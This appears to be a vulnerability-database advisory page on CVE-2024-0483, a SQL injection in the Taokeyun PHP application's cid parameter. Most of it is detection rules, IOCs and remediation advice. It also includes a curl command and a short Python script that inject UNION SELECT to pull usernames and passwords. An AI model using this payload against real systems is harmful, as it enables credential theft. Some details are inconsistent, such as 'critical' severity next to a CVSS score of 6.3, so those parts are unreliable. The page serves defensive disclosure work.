CVE-2024-0483
Executive Summary
CVE-2024-0483 is a critical SQL injection vulnerability discovered in the Taokeyun application, affecting versions up to and including 1.0.5. The flaw resides in the index function of the /application/index/controller/app/Task.php file, where the cid parameter is not properly sanitized before being used in a SQL query. This allows an unauthenticated remote attacker to inject arbitrary SQL commands, potentially leading to data exfiltration, modification, or denial of service. The exploit has been publicly disclosed, increasing the risk of active exploitation. No official patch is currently available, making this a high-priority issue for any organization using Taokeyun.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to any NPM, PyPI, Go, or Ruby package. It is a standalone PHP application vulnerability.
CVSS Breakdown & Threat Level
- CVSS Score: 6.3 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
- Attack Vector: Network (AV:N) - The vulnerability can be exploited remotely over the network.
- Attack Complexity: Low (AC:L) - No special conditions are required for exploitation.
- Privileges Required: None (PR:N) - No authentication is needed.
- User Interaction: None (UI:N) - The victim does not need to perform any action.
- Scope: Unchanged (S:U) - The vulnerability does not affect other components.
- Confidentiality Impact: Low (C:L) - Limited data exposure is possible.
- Integrity Impact: Low (I:L) - Limited data modification is possible.
- Availability Impact: Low (A:L) - Limited service disruption is possible.
Threat Level: High. The combination of public exploit availability, no patch, and low attack complexity makes this a significant threat.
Deep Dive & Mechanics
The vulnerability is a classic SQL injection in the index function of Task.php. The application takes the cid parameter from an HTTP POST request and directly concatenates it into a SQL query without proper sanitization or parameterization.
Vulnerable Code Snippet (Conceptual):
// application/index/controller/app/Task.php
public function index() {
$cid = $_POST['cid'];
$sql = "SELECT * FROM tasks WHERE category_id = $cid";
$result = $this->db->query($sql);
// ...
}
The attacker can inject SQL commands by providing a malicious value for cid. For example:
cid=1 UNION SELECT username, password FROM users
This would modify the query to:
SELECT * FROM tasks WHERE category_id = 1 UNION SELECT username, password FROM users
The database would then return the results of the injected query, potentially exposing sensitive data.
Vulnerable vs. Patched Code
Vulnerable Code (Taokeyun <= 1.0.5):
// application/index/controller/app/Task.php
public function index() {
$cid = $_POST['cid'];
$sql = "SELECT * FROM tasks WHERE category_id = $cid";
$result = $this->db->query($sql);
// ...
}
Patched Code (Hypothetical):
// application/index/controller/app/Task.php
public function index() {
$cid = $_POST['cid'];
$stmt = $this->db->prepare("SELECT * FROM tasks WHERE category_id = ?");
$stmt->bind_param("i", $cid);
$stmt->execute();
$result = $stmt->get_result();
// ...
}
The patched version uses prepared statements with parameterized queries, which prevents SQL injection by separating SQL logic from user input.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A vulnerable Taokeyun instance (version <= 1.0.5)
- Network access to the application
Exploitation Steps:
Identify the vulnerable endpoint: The endpoint is typically
/index.php/index/app.Task/indexor similar, depending on the URL routing.Craft the malicious POST request: Use a tool like
curlor Burp Suite to send a POST request with a maliciouscidparameter.curl -X POST http://target.com/index.php/index/app.Task/index \ -d "cid=1 UNION SELECT username, password FROM users"Extract data: The response will contain the results of the injected query. You can then extract sensitive data like usernames and passwords.
Example Exploit (Python):
import requests
url = "http://target.com/index.php/index/app.Task/index"
payload = "1 UNION SELECT username, password FROM users"
data = {"cid": payload}
response = requests.post(url, data=data)
print(response.text)
Blue Team (Defensive)
Detection:
- Monitor for POST requests to
/index.php/index/app.Task/indexwith unusualcidparameters. - Look for SQL keywords like
UNION,SELECT,FROM,WHERE,OR,ANDin thecidparameter. - Use a Web Application Firewall (WAF) to block SQL injection attempts.
Mitigation:
- Apply input validation and sanitization to the
cidparameter. - Use prepared statements or parameterized queries.
- Restrict database user permissions to limit the impact of a successful injection.
- Apply the official patch when it becomes available.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/index.php/index/app.Task/indexwith suspiciouscidparameters. - HTTP responses containing database error messages or unexpected data.
- POST requests to
- File IOCs:
- Modified
Task.phpfile (if attacker attempts to patch). - Suspicious log entries in web server logs.
- Modified
- System IOCs:
- Unusual database queries or connections.
- Unexpected data in the database.
Detection Engineering
YARA Rule
rule CVE_2024_0483_SQLi_Detection {
meta:
description = "Detects SQL injection attempts targeting CVE-2024-0483 in Taokeyun"
author = "Valters IT"
date = "2024-01-01"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-0483"
strings:
$suspicious_param = /cid\s*=\s*.*(?:UNION|SELECT|INSERT|UPDATE|DELETE|DROP|OR\s+1=1|AND\s+1=1)/ nocase
$endpoint = /index\.php\/index\/app\.Task\/index/ nocase
condition:
$endpoint and $suspicious_param
}
Sigma Rule
title: CVE-2024-0483 SQL Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts targeting the cid parameter in Taokeyun Task.php
author: Valters IT
date: 2024/01/01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-0483
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: '/index.php/index/app.Task/index'
cs-uri-query|contains|all:
- 'cid='
- 'UNION'
- 'SELECT'
condition: selection
falsepositives:
- Legitimate use of UNION or SELECT in the cid parameter (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-0483 SQL Injection Attempt";
flow:to_server,established;
content:"POST";
http_method;
content:"/index.php/index/app.Task/index";
http_uri;
content:"cid=";
http_client_body;
pcre:"/cid\s*=\s*.*(?:UNION|SELECT|INSERT|UPDATE|DELETE|DROP|OR\s+1=1|AND\s+1=1)/Pi";
classtype:web-application-attack;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Isolate the application: If possible, take the Taokeyun application offline until a patch is applied.
- Apply input validation: Implement strict input validation for the
cidparameter. Only allow numeric values. - Use a WAF: Deploy a Web Application Firewall with rules to block SQL injection attempts.
- Monitor logs: Actively monitor web server and database logs for suspicious activity.
Long-term Fix:
- Apply the official patch: Once available, apply the patch from the vendor.
- Code review: Conduct a thorough code review of the application to identify and fix similar vulnerabilities.
- Use prepared statements: Ensure all database queries use prepared statements or parameterized queries.
- Least privilege: Restrict database user permissions to the minimum required for the application to function.
Workaround:
- If patching is not immediately possible, modify the
Task.phpfile to sanitize thecidparameter:
This will convert the input to an integer, preventing SQL injection.$cid = intval($_POST['cid']);
Valters IT
Securing Your Digital Frontier
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.